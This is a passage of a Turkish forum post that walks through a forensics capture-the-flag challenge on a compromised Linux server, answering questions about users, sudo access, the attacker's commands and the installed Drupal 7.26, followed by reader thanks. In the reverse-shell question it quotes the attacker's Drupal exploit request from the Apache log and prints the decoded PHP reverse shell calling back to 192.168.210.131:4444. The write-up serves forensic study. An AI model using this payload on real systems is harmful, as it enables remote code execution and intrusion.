Cevap: php

q92hiek.jpg


11) How many user groups exist on the machine?(Makinede kaç kullanıcı grubu var ?)

Linux içinde grupları /etc dizini altında görüntüleyebiliriz. İmaj dosyamızda ise group dosyasına gittiğimizde grupları görüyoruz. Export Files ile dosyayı çıkarıp Linux’a atalım.

cat group | nl -> Komutunu çalıştırırsak hem group dosyasını görüntülemiş hem de dosyadaki satır sayılarını görüntülemiş oluruz.






Cevap: 58


q92hiek.jpg


12) How many users have sudo access?(Kaç kullanıcının sudo erişimi var ?)

Bu soruyu ise gruplardan yola çıkarak çözebiliriz. Sudo grubuna ait kullanıcılar sudo erişimine sahip demektir.



Cevap: 2

q92hiek.jpg


13) What is the home directory of the PHP user?(PHP kullanıcısının ana dizini nedir ?)

Root dışındaki kullanıcıların home/ana dizinlerini /etc dizini altında passwd dosyasında görüntüleriz.



Cevap: /usr/php

q92hiek.jpg


14) What command did the attacker use to gain root privilege? (Answer contains two spaces)(Saldırgan root/kök ayrıcalığı kazanmak için hangi komutu kullandı ?)

Öncelikle bu soruyu çözmek için temele inmemiz gerekir. History ile kullanıcının bütün komutlarını listeleriz. Fakat log kayıtlarını görüntülemek için /var dizinine biraz bakınalım. Mail dizinine girelim. Bizi 1 dosya ve 1 dizin karşılıyor. Dosya ise .bash_history(gizli dosya).

Bu dosyayı incelediğimizde kullanıcının giriş yaptıktan sonraki komutlarını görüntülüyoruz. Burada komutlara baktığımızda sorumuzu cevaplayacak satır karşımıza çıkıyor.




Cevap: sudo su –

q92hiek.jpg


15) Which file did the user 'root' delete?( Kullanıcı 'root' hangi dosyayı sildi?)

Root kullanıcısının hareketlerini/komutlarını incelemek için home dizini olan root dizinine gidiyoruz.

.bash_history dosyasını incelediğimizde ise birçok komut karşılıyor bizi. Fakat bize lazım olan silme komutu. Onu da aşağılara doğru indiğimizde görüntülüyoruz.




Cevap: 37292.c

q92hiek.jpg


17) What is the content management system (CMS) installed on the machine?( Makinede yüklü olan içerik yönetim sistemi (CMS) nedir?)

Yüklü CMS sistemini görüntülemek için /var/www/html/jabc dizini altındaki .htaccess dosyasına bakıyoruz. Burada bizi cevap karşılıyor.



Cevap: drupal


q92hiek.jpg


18) What is the version of the CMS installed on the machine?( Makinede yüklü olan CMS'nin sürümü nedir?)

CMS versiyonunu görüntülemek için /var/www/html/jabc/profiles/testing dizini altındaki testing.info dosyasına bakıyoruz ve CMS versiyonu bizi karşılıyor.



Cevap: 7.26

q92hiek.jpg


19) Which port was listening to receive the attacker's reverse shell?(Saldırganın ters kabuğunu/reverse shell almak için hangi bağlantı noktası dinliyordu?

Burada dinlenen portu bulmak için tekrardan log kayıtlarıyla ilgilenmemiz gerekir. /var/log/apache2 dizinine gittiğimizde bizi access.log dosyası karşılıyor. Burada encode/decode işlemi olduğunu düşünüp Ctrl+F ile base, base64 araması yapıyoruz ve bizi karşılayan satırlara bakıyoruz. Buradaki satırı tamamen kopyalayıp Burp Suite Decoder kullanarak ya da online base64 decoder kullanarak çözebiliriz. %28 ve %29 URL decode yaparsak bize ( ) sonuçlarını verir. Çünkü

***[ "POST /jabc/?q=user/password&name%5b%23post_render%5d%5b%5d=passthru&name%5b%23markup%5d=php%20-r%20%27eval%28base64_decode%28 ifadesi (prefix) URL encoding]

***[%29%29%3b%27&name%5b%23type%5d=markup HTTP/1.1" 200 14021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" ifadesi ise (suffix) URL encoding]



NOT:

"POST /jabc/?q=user/password&name[#post_render][]=passthru&name[#markup]=php -r 'eval(base64_decode(

));'&name[#type]=markup HTTP/1.1" 200 14021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Yukarıda bahsettiğimiz URL encoding işlemlerinin URL decode hali böyledir. BASE64 decode edeceğimiz kısım ise buradaki parantezler içerisine alınmıştır.



NOT2: Base64 decoding işlemi ise aşağıdaki ifadeye dönüştürülür:

/*<?php /**/ error_reporting(0); $ip = '192.168.210.131'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpac.k("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();




Kopyaladığımız ifadenin base64_decode%28 kısmını baştan, sondan ise %29%29 dan itibaren silersek elde edeceğimiz yeni ifadeyi Base64 ile decode edersek aşağıdaki ikinci resimdeki sonuca ulaşırız.





Cevap: 4444


ÖZEL TEŞEKKÜR @'FatBob
Renklendirmesinden anlatımına her şeyi çok güzel olmuş. Eline emeğine sağlık😉🌼
 

borekaenxd97

Blue Tim Emektar
24 Nis 2020
217
342
Ey Türk Gençliği!
Güzel bir başlangıç oldu, devamını bekliyoruz. Ellerine emeklerine sağlık.
Teşekkür ederim Hocam :)
Teşekkürler.
Teşekkürler.
Teşekkürler.
Guzel olmus. TESEKKURLER
Teşekkür ederim.
Renklendirmesinden anlatımına her şeyi çok güzel olmuş. Eline emeğine sağlık😉🌼
Beğenmenize sevindim, teşekkür ederim :)
Emeğinize sağlık
Teşekkür ederim Hocam.
Teşekkürler :)
Elinize sağlık.
Teşekkür ederim Kızıl :)
Elinize emeğinize sağlık güzel bir anlatım olmuş 🙂
Teşekkür ederim :)
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.